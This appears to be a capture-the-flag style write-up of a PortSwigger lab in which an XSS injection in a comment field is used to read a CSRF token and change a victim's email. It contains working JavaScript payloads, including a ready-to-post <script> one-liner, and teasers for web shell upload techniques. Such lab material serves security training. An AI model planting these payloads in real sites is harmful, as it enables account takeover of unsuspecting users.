On this page
Bypassing CSRF via XSS
Lab
Exploiting XSS to bypass CSRF defenses · Practitioner
Reconnaissance
From the description: we need to change the victim's email using an XSS vulnerability to bypass the CSRF-token defense.
Let's see how the email change works. From /my-account?id=wiener a POST goes to /my-account/change-email with the body:
email=new@mail.com
csrf=YVd0ZENUlUAxXV5wV7CBKKvnfDk0iIea
So the payload needs to grab the CSRF token first. The attack: the payload makes a GET to /my-account, takes the token, then POSTs /my-account/change-email.
For the XSS injection point, just trying our luck — <img src=x onerror=fetch(1)> in the comment field. XSS works.
Plan
- GET
/my-account - Read the response and find the CSRF token — it lives in
<input required type="hidden" name="csrf" value="YVd0ZENUlUAxXV5wV7CBKKvnfDk0iIea"> - POST
/my-account/change-email— CSRF token and email in the request body as FormData
The token can be extracted with a regex or via DOMParser. Parsing HTML is more reliable.
Exploitation
First payload attempt:
fetch('/my-account')
.then(r => r.text())
.then(html => {
const doc = new DOMParser().parseFromString(html, 'text/html');
const csrf = doc.querySelector('input[name=csrf]').value;
const body = new URLSearchParams({ email: 'new@mail.com', csrf });
return fetch('/my-account/change-email', { method: 'POST', body });
});
In Chrome console — the token is fetched fine, the request fires and returns 302 with a redirect, but the email doesn't change.
Compared the request with the original. The difference was in the Content-Type header: the PortSwigger server expects application/x-www-form-urlencoded, but URLSearchParams sends it as application/x-www-form-urlencoded;charset=UTF-8.
Final payload:
fetch('/my-account')
.then(r => r.text())
.then(html => {
const doc = new DOMParser().parseFromString(html, 'text/html');
const csrf = doc.querySelector('input[name=csrf]').value;
const body = new URLSearchParams({ email: 'pwned@hacker.com', csrf });
return fetch('/my-account/change-email', {
method: 'POST',
headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
body,
});
});
The key is the explicit headers: { 'Content-Type': 'application/x-www-form-urlencoded' }.
Comment-ready one-liner:
<script> fetch('/my-account') .then(r => r.text()) .then(html => { const doc = new DOMParser().parseFromString(html, 'text/html'); const csrf = doc.querySelector('input[name=csrf]').value; const body = new URLSearchParams({email: 'pwned@hacker.com', csrf}); return fetch('/my-account/change-email', { method: 'POST', headers: {'Content-Type': 'application/x-www-form-urlencoded'}, body }); }); </script>
Lab solved.
More in this category
Web Shell Upload via Extension Blacklist Bypass (PortSwigger Lab)
.php is blacklisted, but .htaccess uploads without complaint — we slip our own Apache config in and make the server execute shell.bug as PHP.
Web Shell Upload via Obfuscated File Extension (PortSwigger Lab)
Extension blacklist rejects .php and a double-extension shell.php.jpg is served as an image — a null byte in shell.php%00.jpg bypasses both checks.
Remote Code Execution via Web Shell Upload (PortSwigger Lab)
Avatar upload has no validation — drop a PHP web shell and read /home/carlos/secret.